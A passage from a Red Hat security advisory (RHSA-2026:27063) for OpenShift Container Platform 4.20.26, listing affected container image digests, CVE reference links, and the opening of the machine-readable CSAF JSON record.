| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Threats
Impact
Important
References
77 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:27063 | self |
| https://access.redhat.com/security/cve/CVE-2026-29063 | external |
| https://access.redhat.com/security/cve/CVE-2026-33186 | external |
| https://access.redhat.com/security/cve/CVE-2026-34986 | external |
| https://access.redhat.com/security/cve/CVE-2026-35469 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | external |
| https://access.redhat.com/security/cve/CVE-2026-46579 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-29063 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2445291 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-29063 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-29063 | external |
| https://github.com/immutable-js/immutable-js/rele… | external |
| https://github.com/immutable-js/immutable-js/rele… | external |
| https://github.com/immutable-js/immutable-js/rele… | external |
| https://github.com/immutable-js/immutable-js/secu… | external |
| https://access.redhat.com/security/cve/CVE-2026-33186 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2449833 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-33186 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-33186 | external |
| https://github.com/grpc/grpc-go/security/advisori… | external |
| https://access.redhat.com/security/cve/CVE-2026-34986 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2455470 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-34986 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-34986 | external |
| https://github.com/go-jose/go-jose/security/advis… | external |
| https://pkg.go.dev/github.com/go-jose/go-jose/v4#… | external |
| https://access.redhat.com/security/cve/CVE-2026-35469 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2457729 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-35469 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-35469 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2460297 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-40895 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-40895 | external |
| https://github.com/follow-redirects/follow-redire… | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487947 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44486 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44486 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487948 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44487 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44487 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487949 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44488 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44488 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487938 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44492 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44492 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487943 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44496 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44496 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-46579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2483181 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-46579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-46579 | external |
Acknowledgments
Red Hat
Ricardo Pchevuzinske Katz
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Red Hat OpenShift Container Platform release 4.20.26 is now available with updates to packages and images that fix several bugs and add enhancements.\n\n This release includes a security update for Red Hat OpenShift Container Platform 4.20.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "Red Hat OpenShift Container Platform is Red Hat\u0027s cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.\n\nThis advisory contains the container images for Red Hat OpenShift Container Platform 4.20.26. See the following advisory for the RPM packages for this release:\n\nhttps://access.redhat.com/errata/RHBA-2026:27059\n\nSpace precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:27063",
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-29063",
"url": "https://access.redhat.com/security/cve/CVE-2026-29063"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-33186",
"url": "https://access.redhat.com/security/cve/CVE-2026-33186"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-34986",
"url": "https://access.redhat.com/security/cve/CVE-2026-34986"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-35469",
"url": "https://access.redhat.com/security/cve/CVE-2026-35469"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-40895",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44486",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44487",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44488",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44492",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44496",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-46579",
"url": "https://access.redhat.com/security/cve/CVE-2026-46579"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_27063.json"
}
],
"title": "Red Hat Security Advisory: OpenShift Container Platform 4.20.26 bug fix and security update",
"tracking": {
"current_release_date": "2026-07-30T19:20:55+00:00",
"generator": {
"date": "2026-07-30T19:20:55+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:27063",
"initial_release_date": "2026-06-23T08:26:48+00:00",
"revision_history": [
{
"date": "2026-06-23T08:26:48+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:20:55+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat OpenShift Container Platform 4.20",
"product": {
"name": "Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:openshift:4.20::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat OpenShift Container Platform"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-ui-rhel9@sha256%3Afe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9\u0026tag=1781688772"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"product_id": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-azure-file-csi-driver-rhel9@sha256%3A7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9\u0026tag=1781536224"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"product": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"product_id": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/azure-kms-encryption-provider-rhel9@sha256%3A3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9\u0026tag=1781111957"
}
}
},
{
"category": "product_version",
